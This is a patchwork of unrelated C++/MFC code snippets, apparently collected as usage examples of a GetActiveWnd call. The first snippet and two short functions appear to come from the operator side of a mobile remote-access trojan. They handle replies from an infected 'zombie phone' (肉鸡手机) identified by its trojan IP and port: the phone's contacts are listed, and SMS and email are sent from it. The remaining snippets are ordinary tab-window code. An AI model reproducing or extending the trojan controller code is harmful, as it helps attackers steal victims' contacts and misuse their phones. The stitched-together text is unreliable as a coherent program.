void WPhonePlugin::ProcessResp(void* s, int cmd, int resp, unsigned short seq, void* data, int len) { if(cmd < CONTROL_QUERY_CONTACTS || cmd > CONTROL_BROWSER) return; if(resp == 0) { if(cmd == CONTROL_QUERY_CONTACTS) { ContactForm* pWnd = (ContactForm*)GetActiveWnd(m_contact_docTemp); if(pWnd == NULL) return; if(seq == -1 || len <= 0) return; if(seq == 0 || seq == 1) pWnd->ClearAll(); pWnd->Insert(seq, data); } else if(cmd == CONTROL_SEND_MESSAGE) { SendMessageForm* pWnd = (SendMessageForm*)GetActiveWnd(m_sms_docTemp); if(pWnd) pWnd->OnClear(); struct TrojanInfo info; ISite::Service(ZCM_GET_OBJ, (WPARAM)s, (LPARAM)&info); CString addr = ISite::GetIPAddrPort(info.trojanip, info.port); ISite::SetStatus(0, "肉鸡手机%s接受到发送短消息请求...", addr); } else if(cmd == CONTROL_DIAL_NUMBER) { } else if(cmd == CONTROL_SEND_EMAIL) { EmailForm* pWnd = (EmailForm*)GetActiveWnd(m_email_docTemp); if(pWnd) pWnd->OnClear(); struct TrojanInfo info; ISite::Service(ZCM_GET_OBJ, (WPARAM)s, (LPARAM)&info); CString addr = ISite::GetIPAddrPort(info.trojanip, info.port); ISite::SetStatus(0, "肉鸡手机%s接受到发送Email请求...", addr); } else if(cmd == CONTROL_BROWSER) { } else if(cmd == CONTROL_CAMERA) { } } }
//******************************************************************************* void CShopTabWnd::OnLButtonUp (UINT nFlags, CPoint point) { if (IsPtInMenuArea (point)) { CShopToolBase* pTool = DYNAMIC_DOWNCAST (CShopToolBase, GetActiveWnd ()); if (pTool != NULL) { pTool->OnShowContextMenu (); } return; } CBCGPTabWnd::OnLButtonUp (nFlags, point); }
int WPhonePlugin::NavigateToEmail(const char* to) { ISite::CreateFrameWnd(m_email_docTemp, RUNTIME_CLASS(EmailForm), "发送电子邮件"); EmailForm* pWnd = (EmailForm*)GetActiveWnd(m_email_docTemp); if(pWnd) { pWnd->OnClear(); pWnd->SetReceiver(to); } return 0; }
int WPhonePlugin::NavigateToSMS(const char* to) { ISite::CreateFrameWnd(m_sms_docTemp, RUNTIME_CLASS(SendMessageForm), "发送短消息"); SendMessageForm* pWnd = (SendMessageForm*)GetActiveWnd(m_sms_docTemp); if(pWnd) { pWnd->OnClear(); pWnd->SetReceiver(to); } return 0; }
BOOL CTangramTabCtrlWnd::SetActiveTab(int iTab) { AFX_MANAGE_STATE(AfxGetStaticModuleState()); int nOldIndex = m_nCurSelTab; m_nCurSelTab = iTab; BOOL bRet = CMFCTabCtrl::SetActiveTab(iTab); //int nIndex = GetCurSel(); CWnd* pWnd = GetActiveWnd(); if (pWnd) { CRect rc; pWnd->GetWindowRect(rc); CWnd* pPWnd = pWnd->GetParent(); pPWnd->ScreenToClient(rc); ::SetWindowPos(pWnd->m_hWnd, NULL, rc.left, rc.top, rc.Width(), rc.Height(), SWP_FRAMECHANGED | SWP_SHOWWINDOW | SWP_NOACTIVATE); Invalidate(); ::SendMessage(m_hWnd, WM_TABCHANGE, m_nCurSelTab, nOldIndex); } return bRet;// CMFCTabCtrl::SetActiveTab(iTab); }